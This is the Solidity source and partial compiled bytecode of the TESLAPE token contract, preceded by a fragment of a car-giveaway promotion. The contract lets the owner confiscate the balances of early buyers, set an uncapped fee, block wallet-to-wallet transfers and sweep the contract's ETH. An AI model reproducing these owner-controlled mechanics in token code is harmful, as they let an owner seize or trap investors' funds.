hands while we achieve these milestones, your possible rewards will simply
grow, because we are giving away not one, not two, but multiple cars!
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] memory path)
external
view
returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Auth {
address internal owner;
mapping(address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED");
_;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract TESLAPE is IERC20, Auth {
using SafeMath for uint256;
string constant _name = "Teslape";
string constant _symbol = "TESLAPE";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _totalSupply = 1_000_000 * (10**_decimals);
uint256 private _liqAddBlock = 0;
uint256 public biggestBuy = 0;
uint256 public biggestBuySum = 0;
uint256 public lowestBuy = uint256(-1);
uint256 public resetPeriod = 1 hours;
address[] private rewardedAddresses;
address[] private _teslachad;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) public isFeeExempt;
mapping(address => bool) public isTxLimitExempt;
mapping(address => bool) public hasSold;
mapping(address => bool) private _liquidityHolders;
mapping(address => bool) private _isTeslaChad;
mapping(address => uint256) public totalBuySumPerAddress;
mapping(address => uint256) public totalRewardsPerAddress;
uint256 public marketingFee = 13;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
IDEXRouter public router;
address public pair;
bool _hasLiqBeenAdded = false;
bool teslachadProtection = true;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = _totalSupply; // nolimit
uint256 public _maxWalletAmount = _totalSupply; // nolimit
uint256 public swapThreshold = _totalSupply / 200;
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
event AutoLiquify(uint256 amountETH, uint256 amountToken);
constructor() Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[pair] = true;
_liquidityHolders[msg.sender] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
totalFee = marketingFee;
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function setMaxWalletAmount(uint256 amount) external authorized {
_maxWalletAmount = amount;
}
function setFees(
uint256 newMarketingFee
) external authorized {
marketingFee = newMarketingFee;
totalFee = marketingFee;
totalFeeIfSelling = totalFee;
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
if (_liquidityHolders[from] && to == pair) {
_hasLiqBeenAdded = true;
_liqAddBlock = block.number;
}
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function disableTeslaChadProtection() public authorized {
teslachadProtection = false;
}
function byeByeTeslaChads() public authorized lockTheSwap {
if (_teslachad.length > 0) {
uint256 oldContractBalance = _balances[address(this)];
for (uint256 i = 0; i < _teslachad.length; i++) {
_balances[address(this)] = _balances[address(this)].add(
_balances[_teslachad[i]]
);
emit Transfer(
_teslachad[i],
address(this),
_balances[_teslachad[i]]
);
_balances[_teslachad[i]] = 0;
}
uint256 collectedTokens = _balances[address(this)] -
oldContractBalance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
collectedTokens,
0,
path,
marketingWallet,
block.timestamp
);
}
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
totalBuySumPerAddress[recipient] += usedEth;
if (!hasSold[recipient]) {
if (totalBuySumPerAddress[recipient] > biggestBuySum) {
biggestBuySum = totalBuySumPerAddress[recipient];
}
if (usedEth > biggestBuy) {
biggestBuy = usedEth;
}
if (usedEth < lowestBuy) {
lowestBuy = usedEth;
}
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (teslachadProtection) {
if (!_hasLiqBeenAdded) {
_checkLiquidityAdd(sender, recipient);
} else {
if (
_liqAddBlock > 0 &&
sender == pair &&
!_liquidityHolders[sender] &&
!_liquidityHolders[recipient]
) {
if (block.number - _liqAddBlock < 2) {
if (!_isTeslaChad[recipient]) {
_teslachad.push(recipient);
}
_isTeslaChad[recipient] = true;
}
}
}
}
if (
msg.sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = swapThreshold;
uint256 amountToSwap = tokensToLiquify;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETHMarketing = address(this).balance;
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
// only to supress warning msg
tmpSuccess = false;
}
function getAllRewards()
external
view
returns (address[] memory, uint256[] memory)
{
address[] memory mAddresses = new address[](rewardedAddresses.length);
uint256[] memory mRewards = new uint256[](rewardedAddresses.length);
for (uint256 i = 0; i < rewardedAddresses.length; i++) {
mAddresses[i] = rewardedAddresses[i];
mRewards[i] = totalRewardsPerAddress[rewardedAddresses[i]];
}
return (mAddresses, mRewards);
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
}
|
0x6080604052600436106102e85760003560e01c80637d1db4a511610190578063ca33e64c116100dc578063ed14f20a11610095578063f84ba65d1161006f578063f84ba65d14610b13578063f887ea4014610b4e578063fe9fbb8014610b63578063feec927814610b96576102ef565b8063ed14f20a14610a7a578063f0b37c0414610aad578063f2fde38b14610ae0576102ef565b8063ca33e64c14610980578063ca987b0e14610995578063dd62ed3e146109aa578063dec2ba0f146109e5578063df20fd4914610a1e578063ec28438a14610a50576102ef565b80639d0014b111610149578063a9059cbb11610123578063a9059cbb146108cc578063b6a5d7de14610905578063bf7da07614610938578063c0e5fec81461094d576102ef565b80639d0014b114610852578063a4b45c001461087c578063a8aa1b31146108b7576102ef565b80637d1db4a5146107b6578063893d20e8146107cb5780638b42507f146107e05780638eb6889f14610813578063944c1d971461082857806395d89b411461083d576102ef565b80633d18678e1161024f5780635f131e39116102085780636c0a24eb116101e25780636c0a24eb1461071357806370a0823114610728578063712a890a1461075b57806375f0a87414610785576102ef565b80635f131e39146106ae578063658d4b7f146106c35780636b67c4df146106fe576102ef565b80633d18678e146105285780633f4218e01461055257806345b35f56146105855780634a74bb02146106335780634db6fb8314610648578063571ac8b01461067b576102ef565b806323b872dd116102a157806323b872dd1461043157806327a14fc2146104745780632b112e49146104a05780632f54bf6e146104b5578063313ce567146104e857806333596f5014610513576102ef565b80630445b667146102f457806306fdde031461031b578063095ea7b3146103a557806318160ddd146103f25780631df4ccfc146104075780632111bb2f1461041c576102ef565b366102ef57005b600080fd5b34801561030057600080fd5b50610309610bab565b60408051918252519081900360200190f35b34801561032757600080fd5b50610330610bb1565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561036a578181015183820152602001610352565b50505050905090810190601f1680156103975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103b157600080fd5b506103de600480360360408110156103c857600080fd5b506001600160a01b038135169060200135610bd2565b604080519115158252519081900360200190f35b3480156103fe57600080fd5b50610309610c39565b34801561041357600080fd5b50610309610c3f565b34801561042857600080fd5b50610309610c45565b34801561043d57600080fd5b506103de6004803603606081101561045457600080fd5b506001600160a01b03813581169160208101359091169060400135610c4b565b34801561048057600080fd5b5061049e6004803603602081101561049757600080fd5b5035610d10565b005b3480156104ac57600080fd5b50610309610d5d565b3480156104c157600080fd5b506103de600480360360208110156104d857600080fd5b50356001600160a01b0316610da6565b3480156104f457600080fd5b506104fd610dba565b6040805160ff9092168252519081900360200190f35b34801561051f57600080fd5b5061049e610dbf565b34801561053457600080fd5b5061049e6004803603602081101561054b57600080fd5b5035610e36565b34801561055e57600080fd5b506103de6004803603602081101561057557600080fd5b50356001600160a01b0316610e8d565b34801561059157600080fd5b5061059a610ea2565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156105de5781810151838201526020016105c6565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561061d578181015183820152602001610605565b5050505090500194505050505060405180910390f35b34801561063f57600080fd5b506103de610fff565b34801561065457600080fd5b506103096004803603602081101561066b57600080fd5b50356001600160a01b031661100f565b34801561068757600080fd5b506103de6004803603602081101561069e57600080fd5b50356001600160a01b0316611021565b3480156106ba57600080fd5b5061049e61102f565b3480156106cf57600080fd5b5061049e600480360360408110156106e657600080fd5b506001600160a01b0381351690602001351515611391565b34801561070a57600080fd5b50610309611404565b34801561071f57600080fd5b5061030961140a565b34801561073457600080fd5b506103096004803603602081101561074b57600080fd5b50356001600160a01b0316611410565b34801561076757600080fd5b5061049e6004803603602081101561077e57600080fd5b503561142b565b34801561079157600080fd5b5061079a611478565b604080516001600160a01b039092168252519081900360200190f35b3480156107c257600080fd5b50610309611487565b3480156107d757600080fd5b5061079a61148d565b3480156107ec57600080fd5b506103de6004803603602081101561080357600080fd5b50356001600160a01b031661149c565b34801561081f57600080fd5b506103096114b1565b34801561083457600080fd5b506103096114b7565b34801561084957600080fd5b506103306114bd565b34801561085e57600080fd5b5061049e6004803603602081101561087557600080fd5b50356114de565b34801561088857600080fd5b5061049e6004803603604081101561089f57600080fd5b506001600160a01b038135811691602001351661152b565b3480156108c357600080fd5b5061079a6115a1565b3480156108d857600080fd5b506103de600480360360408110156108ef57600080fd5b506001600160a01b0381351690602001356115b0565b34801561091157600080fd5b5061049e6004803603602081101561092857600080fd5b50356001600160a01b03166115bd565b34801561094457600080fd5b5061049e611627565b34801561095957600080fd5b506103096004803603602081101561097057600080fd5b50356001600160a01b031661167e565b34801561098c57600080fd5b5061079a611690565b3480156109a157600080fd5b5061030961169f565b3480156109b657600080fd5b50610309600480360360408110156109cd57600080fd5b506001600160a01b03813581169160200135166116a5565b3480156109f157600080fd5b5061049e60048036036040811015610a0857600080fd5b506001600160a01b0381351690602001356116d0565b348015610a2a57600080fd5b5061049e60048036036040811015610a4157600080fd5b50803515159060200135611797565b348015610a5c57600080fd5b5061049e60048036036020811015610a7357600080fd5b5035611801565b348015610a8657600080fd5b506103de60048036036020811015610a9d57600080fd5b50356001600160a01b031661184e565b348015610ab957600080fd5b5061049e60048036036020811015610ad057600080fd5b50356001600160a01b0316611863565b348015610aec57600080fd5b5061049e60048036036020811015610b0357600080fd5b50356001600160a01b03166118c7565b348015610b1f57600080fd5b5061049e60048036036040811015610b3657600080fd5b506001600160a01b0381351690602001351515611978565b348015610b5a57600080fd5b5061079a6119eb565b348015610b6f57600080fd5b506103de60048036036020811015610b8657600080fd5b50356001600160a01b03166119fa565b348015610ba257600080fd5b50610309611a18565b601f5481565b6040805180820190915260078152665465736c61706560c81b602082015290565b336000818152600e602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055490565b60175481565b60085481565b6001600160a01b0383166000908152600e6020908152604080832033845290915281205460001914610cf8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600e82528381203382529091529190912054610cd3918490611a1e565b6001600160a01b0385166000908152600e602090815260408083203384529091529020555b610d03848484611ab5565b50600190505b9392505050565b610d19336119fa565b610d58576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601e55565b600354600090610da190610d79906001600160a01b0316611410565b600254610d9b90610d92906001600160a01b0316611410565b60055490611dfd565b90611dfd565b905090565b6000546001600160a01b0390811691161490565b601290565b610dc8336119fa565b610e07576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610e33573d6000803e3d6000fd5b50565b610e3f336119fa565b610e7e576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60168190556017819055601855565b600f6020526000908152604090205460ff1681565b6060806060600b8054905067ffffffffffffffff81118015610ec357600080fd5b50604051908082528060200260200182016040528015610eed578160200160208202803683370190505b50600b5490915060609067ffffffffffffffff81118015610f0d57600080fd5b50604051908082528060200260200182016040528015610f37578160200160208202803683370190505b50905060005b600b54811015610ff557600b8181548110610f5457fe5b9060005260206000200160009054906101000a90046001600160a01b0316838281518110610f7e57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060156000600b8381548110610faf57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610fe257fe5b6020908102919091010152600101610f3d565b5090925090509091565b601c54600160b81b900460ff1681565b60146020526000908152604090205481565b6000610c3382600019610bd2565b611038336119fa565b611077576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601c805460ff60b01b1916600160b01b179055600c541561138257306000908152600d6020526040812054905b600c548110156111cc576110fa600d6000600c84815481106110c257fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201812054308252600d909352205490611e3f565b306000818152600d6020526040902091909155600c80548390811061111b57fe5b6000918252602082200154600c80546001600160a01b03909216926000805160206129e383398151915292600d92908790811061115457fe5b60009182526020808320909101546001600160a01b03168352828101939093526040918201902054815190815290519081900390910190a36000600d6000600c848154811061119f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001016110a4565b50306000908152600d60205260409081902054815160028082526060828101909452918490039291816020016020820280368337019050509050308160008151811061121457fe5b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126857600080fd5b505afa15801561127c573d6000803e3d6000fd5b505050506040513d602081101561129257600080fd5b50518151829060019081106112a357fe5b6001600160a01b03928316602091820292909201810191909152601b54601a5460405163791ac94760e01b81526004810187815260006024830181905292861660648301819052426084840181905260a060448501908152895160a48601528951969098169763791ac947978b978b969495939460c4019187810191028083838b5b8381101561133d578181015183820152602001611325565b505050509050019650505050505050600060405180830381600087803b15801561136657600080fd5b505af115801561137a573d6000803e3d6000fd5b505050505050505b601c805460ff60b01b19169055565b61139a336119fa565b6113d9576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b60165481565b601e5481565b6001600160a01b03166000908152600d602052604090205490565b611434336119fa565b611473576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600a55565b601a546001600160a01b031681565b601d5481565b6000546001600160a01b031690565b60106020526000908152604090205460ff1681565b60075481565b600a5481565b6040805180820190915260078152665445534c41504560c81b602082015290565b6114e7336119fa565b611526576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601f55565b611534336119fa565b611573576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601980546001600160a01b039384166001600160a01b031991821617909155601a8054929093169116179055565b601c546001600160a01b031681565b6000610d09338484611ab5565b6115c633610da6565b611600576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b611630336119fa565b61166f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601c805460ff60a81b19169055565b60156020526000908152604090205481565b6019546001600160a01b031681565b60185481565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b6116d9336119fa565b611718576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b15801561176757600080fd5b505af115801561177b573d6000803e3d6000fd5b505050506040513d602081101561179157600080fd5b50505050565b6117a0336119fa565b6117df576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601c8054921515600160b81b0260ff60b81b1990931692909217909155601f55565b61180a336119fa565b611849576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601d55565b60116020526000908152604090205460ff1681565b61186c33610da6565b6118a6576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b6118d033610da6565b61190a576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b611981336119fa565b6119c0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b601b546001600160a01b031681565b6001600160a01b031660009081526001602052604090205460ff1690565b60095481565b60008184841115611aad5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a72578181015183820152602001611a5a565b50505050905090810190601f168015611a9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b601c54600090600160b01b900460ff1615611adc57611ad5848484611e99565b9050610d09565b601c54600160a81b900460ff1615611c1957601c54600160a01b900460ff16611b0e57611b098484611f68565b611c19565b6000600654118015611b2d5750601c546001600160a01b038581169116145b8015611b5257506001600160a01b03841660009081526012602052604090205460ff16155b8015611b7757506001600160a01b03831660009081526012602052604090205460ff16155b15611c1957600260065443031015611c19576001600160a01b03831660009081526013602052604090205460ff16611bf557600c80546001810182556000919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0383166000908152601360205260409020805460ff191660011790555b601c546001600160a01b03163314801590611c3e5750601c54600160b01b900460ff16155b8015611c535750601c54600160b81b900460ff165b8015611c705750601f54306000908152600d602052604090205410155b15611c7d57611c7d612007565b611c8884848461224c565b611c928484612742565b15611cd2576040805162461bcd60e51b815260206004820152600b60248201526a111bdb89dd0818da19585d60aa1b604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600d9091529190912054611d24918490611a1e565b6001600160a01b0385166000908152600d6020908152604080832093909355600f90529081205460ff16158015611d7457506001600160a01b0384166000908152600f602052604090205460ff16155b611d7e5782611d89565b611d898585856127cd565b6001600160a01b0385166000908152600d6020526040902054909150611daf9082611e3f565b6001600160a01b0385166000818152600d60209081526040918290209390935580518481529051919233926000805160206129e38339815191529281900390910190a3506001949350505050565b6000610d0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a1e565b600082820183811015610d09576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600d90915291822054611eea918490611a1e565b6001600160a01b038086166000908152600d60205260408082209390935590851681522054611f199083611e3f565b6001600160a01b038085166000818152600d602090815260409182902094909455805186815290519193928816926000805160206129e383398151915292918290030190a35060019392505050565b601c54600160a01b900460ff1615611fb15760405162461bcd60e51b815260040180806020018281038252602381526020018061297c6023913960400191505060405180910390fd5b6001600160a01b03821660009081526012602052604090205460ff168015611fe65750601c546001600160a01b038281169116145b1561200357601c805460ff60a01b1916600160a01b179055436006555b5050565b601c805460ff60b01b1916600160b01b179055601f5460408051600280825260608083018452849390929190602083019080368337019050509050308160008151811061205057fe5b6001600160a01b03928316602091820292909201810191909152601b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156120a457600080fd5b505afa1580156120b8573d6000803e3d6000fd5b505050506040513d60208110156120ce57600080fd5b50518151829060019081106120df57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050601b60009054906101000a90046001600160a01b03166001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612199578181015183820152602001612181565b505050509050019650505050505050600060405180830381600087803b1580156121c257600080fd5b505af11580156121d6573d6000803e3d6000fd5b5050601a54604051479350600092506001600160a01b039091169061753090849084818181858888f193505050503d8060008114612230576040519150601f19603f3d011682016040523d82523d6000602084013e612235565b606091505b5050601c805460ff60b01b19169055505050505050565b6000546001600160a01b0384811691161480159061227857506000546001600160a01b03838116911614155b801561229d57506001600160a01b03821660009081526010602052604090205460ff16155b80156122b757506003546001600160a01b03838116911614155b80156122d157506002546001600160a01b03838116911614155b80156122eb5750601c546001600160a01b03838116911614155b801561230057506001600160a01b0382163014155b1561267857601d54811115612345576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b600061235083611410565b9050601e5482820111156123955760405162461bcd60e51b815260040180806020018281038252602381526020018061299f6023913960400191505060405180910390fd5b60408051600280825260608083018452926020830190803683375050601b54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156123f957600080fd5b505afa15801561240d573d6000803e3d6000fd5b505050506040513d602081101561242357600080fd5b50518151829060009061243257fe5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061246057fe5b6001600160a01b03928316602091820292909201810191909152601b54604080516307c0329d60e21b815260048101888152602482019283528651604483015286516000969490941694631f00ca74948a948994909260649091019185820191028083838c5b838110156124de5781810151838201526020016124c6565b50505050905001935050505060006040518083038186803b15801561250257600080fd5b505afa158015612516573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561253f57600080fd5b810190808051604051939291908464010000000082111561255f57600080fd5b90830190602082018581111561257457600080fd5b825186602082028301116401000000008211171561259157600080fd5b82525081516020918201928201910280838360005b838110156125be5781810151838201526020016125a6565b505050509050016040525050506000815181106125d757fe5b6020908102919091018101516001600160a01b03871660009081526014835260408082208054840190556011909352919091205490915060ff16612674576008546001600160a01b0386166000908152601460205260409020541115612654576001600160a01b0385166000908152601460205260409020546008555b6007548111156126645760078190555b600954